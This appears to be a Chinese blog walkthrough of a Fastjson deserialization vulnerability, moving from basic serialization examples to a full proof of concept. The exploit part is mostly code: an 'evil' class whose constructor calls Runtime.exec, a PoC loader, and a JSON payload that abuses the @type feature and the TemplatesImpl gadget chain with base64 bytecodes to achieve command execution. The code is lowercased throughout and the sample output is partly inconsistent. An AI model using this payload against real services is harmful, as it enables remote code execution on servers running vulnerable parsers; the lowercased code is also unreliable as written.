亲手带你解决Debug Fastjson的安全漏洞
简介
java处理json数据有三个比较流行的类库，gson(google维护)、jackson、以及今天的主角fastjson，fastjson是阿里巴巴一个开源的json相关的java library，地址在这里，
，
fastjson可以将java的对象转换成json的形式，也可以用来将json转换成java对象，效率较高，被广泛的用在web服务以及android上，它的jsonstring（）方法可以将java的对象转换成json格式，同样通过parseobject方法可以将json数据转换成java的对象。
大概在4月18号的时候，fastjson进行了一次安全更新，通告在这里
，
当时对这也不熟悉，断断续续看了几天也没什么收获(主要是因为太菜了tat)。最近有人出了poc以及分析的文章就跟进了一下，漏洞还是挺有意思。
fastjson简单使用介绍
工欲善其事，必先利其器，要想研究这个漏洞，就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。user.java code如下：
testfastjson.java code如下：
package fastjsonvul.fastjsontest;
import java.util.hashmap;
import java.util.map;
import com.alibaba.fastjson.json;
import com.alibaba.fastjson.parser.feature;
import com.alibaba.fastjson.serializer.serializerfeature;
import fastjsonvul.fastjsontest.user;
public class testfastjson {
public static void main(string[] args){
map<string, object> map = new hashmap<string, object>();
map.put("key1","one");
map.put("key2", "two");
string mapjson = json.tojsonstring(map);
system.out.println(mapjson);
user user1 = new user();
user1.setusername("果汁简历");
user1.setsex("male");
system.out.println("obj name:"+user1.getclass().getname());
//序列化
string serializedstr = json.tojsonstring(user1);
system.out.println("serializedstr="+serializedstr);
string serializedstr1 = json.tojsonstring(user1,serializerfeature.writeclassname);
system.out.println("serializedstr1="+serializedstr1);
//通过parse方法进行反序列化
user user2 = (user)json.parse(serializedstr1);
system.out.println(user2.getusername());
system.out.println();
//通过parseobject方法进行反序列化 通过这种方法返回的是一个jsonobject
object obj = json.parseobject(serializedstr1);
system.out.println(obj);
system.out.println("obj name:"+obj.getclass().getname()+"\n");
//通过这种方式返回的是一个相应的类对象
object obj1 = json.parseobject(serializedstr1,object.class);
system.out.println(obj1);
system.out.println("obj1 name:"+obj1.getclass().getname());
}
}
输出是这样
{"key1":"one","key2":"two"}
obj name:fastjsonvul.fastjsontest.user
serializedstr={"sex":"male","username":"果汁简历","sex":"male","username":"果汁简历"}
serializedstr1={"@type":"fastjsonvul.fastjsontest.user","sex":"male","username":"xiaoming","sex":"male","username":"果汁简历"}
果汁简历
{"username":"果汁简历","sex":"male","sex":"male","username":"果汁简历"}
obj name:com.alibaba.fastjson.jsonobject
fastjsonvul.fastjsontest.user@18769467
obj1 name:fastjsonvul.fastjsontest.user
fastjson漏洞详细
fastjson漏洞出现的地方也就是json.parseobject这个方法上面。
在最开始的时候，只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码，像是这样
evil.java
import java.io.ioexception;
public class evil {
public string getname() {
system.out.println("i am gettername!");
return name;
}
public void setname(string name) {
system.out.println("i am settername!");
this.name = name;
}
public string name;
public int getage() {
system.out.println("i am getterage!");
return age;
}
public void setage(int age) {
system.out.println("i am setterage!");
this.age = age;
}
private int age;
public evil() throws ioexception{
system.out.println("i am constructor!");
}
}
import com.alibaba.fastjson.json;
import java.io.*;
public class app{
public static void readtobuffer(stringbuffer buffer, string filepath) throws ioexception {
inputstream is = new fileinputstream(filepath);
string line; // 用来保存每行读取的内容
bufferedreader reader = new bufferedreader(new inputstreamreader(is));
line = reader.readline(); // 读取第一行
while (line != null) { // 如果 line 为空说明读完了
buffer.append(line); // 将读到的内容添加到 buffer 中
buffer.append("\n"); // 添加换行符
line = reader.readline(); // 读取下一行
}
reader.close();
is.close();
}
public static void main( string[] args ) throws ioexception
{
stringbuffer buffer = new stringbuffer();
app.readtobuffer(buffer,"/users/m0rk/vul/fastjson/src/demo.json");
object obj = json.parseobject(buffer.tostring());
}
}
demo.json的内容如下
{
"@type" : "evil1",
"name" : "m0rk",
"age" : "20"}
可以看到通过@type"特性"，就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果，因为上面的情况是需要我们能够控制evil这个类（一般是通过文件写入），目前来看不太现实。
还有一种方法就是将编译好的.class或者.jar文件转换成byte[]，然后通过defineclass加载byte[]返回class对象。
安全研究人员发现了这个类
com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl
这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化，注意mailciousclass需要继承abstracttranslet（在definetransle方法中存在一个校验）。更多这个调用链参考链接
如上图所示的攻击调用栈信息，可以看到和templatesimpl调用链完全吻合，最终还是通过defineclass加载了bytecodes[]导致了命令执行。
evil.java
import com.sun.org.apache.xalan.internal.xsltc.dom;
import com.sun.org.apache.xalan.internal.xsltc.transletexception;
import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;
import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;
import com.sun.org.apache.xml.internal.serializer.serializationhandler;
import java.io.ioexception;
public class evil extends abstracttranslet {
public evil() throws ioexception {
runtime.getruntime().exec("open /applications/calculator.app");
}
@override
public void transform(dom document, dtmaxisiterator iterator, serializationhandler handler) {
}
public void transform(dom document, com.sun.org.apache.xml.internal.serializer.serializationhandler[] handlers) throws transletexception {
}
}
import com.alibaba.fastjson.json;
import com.alibaba.fastjson.parser.feature;
import org.apache.commons.io.ioutils;
import org.apache.commons.codec.binary.base64;
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
public class poc {
public static string readclass(string cls) {
bytearrayoutputstream bos = new bytearrayoutputstream();
try {
ioutils.copy(new fileinputstream(new file(cls)), bos);
} catch (ioexception e) {
e.printstacktrace();
}
return base64.encodebase64string(bos.tobytearray());
}
public static void main(string args[]) throws exception{
// final string evilclasspath ="/users/m0rk/vul/fastjson/src/evil.class";
// string evilcode = readclass(evilclasspath);
// system.out.println(evilcode);
stringbuffer buffer = new stringbuffer();
app.readtobuffer(buffer, "/users/m0rk/vul/fastjson/src/evil.json");
object obj = json.parseobject(buffer.tostring(),object.class,feature.supportnonpublicfield);
}
}
evil.json
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl",
"_bytecodes" : ["yv66vgaaadqaiqoabgatcgauabuiabykabqafwcagacagqeabjxpbml0pgeaaygpvgeabenvzgubaa9maw5ltnvtymvyvgfibgubaapfegnlchrpb25zbwaaaqajdhjhbnnmb3jtaqcmkexjb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvre9no0xjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl2r0bs9eve1beglzsxrlcmf0b3i7tgnvbs9zdw4vb3jnl2fwywnozs94bwwvaw50zxjuywwvc2vyawfsaxplci9tzxjpywxpemf0aw9usgfuzgxlcjspvgeacihmy29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl0rptttbtgnvbs9zdw4vb3jnl2fwywnozs94bwwvaw50zxjuywwvc2vyawfsaxplci9tzxjpywxpemf0aw9usgfuzgxlcjspvgcagweaclnvdxjjzuzpbgubaalfdmlslmphdmemaacacacahawahqaeaqahb3blbiavqxbwbgljyxrpb25zl0nhbgn1bgf0b3iuyxbwdaafacabaarfdmlsaqbay29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl3j1bnrpbwuvqwjzdhjhy3rucmfuc2xldaeae2phdmevaw8vsu9fegnlchrpb24badljb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvvhjhbnnszxrfegnlchrpb24babfqyxzhl2xhbmcvunvudgltzqeacmdldfj1bnrpbwubabuokuxqyxzhl2xhbmcvunvudgltztsbaarlegvjaqankexqyxzhl2xhbmcvu3ryaw5noylmamf2ys9syw5nl1byb2nlc3m7aceabqagaaaaaaadaaeabwaiaaiacqaaac4aagabaaaadiq3aag4aaisa7yabfexaaaaaqakaaaadgadaaaacqaeaaoadqalaasaaaaeaaeadaabaa0adgabaakaaaazaaaabaaaaagxaaaaaqakaaaabgabaaaadgabaa0adwacaakaaaazaaaaawaaaagxaaaaaqakaaaabgabaaaaeqalaaaabaababaaaqaraaaaagas"],
"_name" : "m0rk",
"_tfactory" : {},
"outputproperties" : {}
}
总结
关于这个漏洞的构造还是挺精巧，漏洞的利用条件比较苛刻，如要能够利用，开发人员对json的处理函数需要是 json.parseobject(input, object.class,
feature.supportnonpublicfield);
而大部分的开发可能用用json.parse(input)就了事儿了，同时使用了parseobject和
feature.supportnonpublicfield设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。
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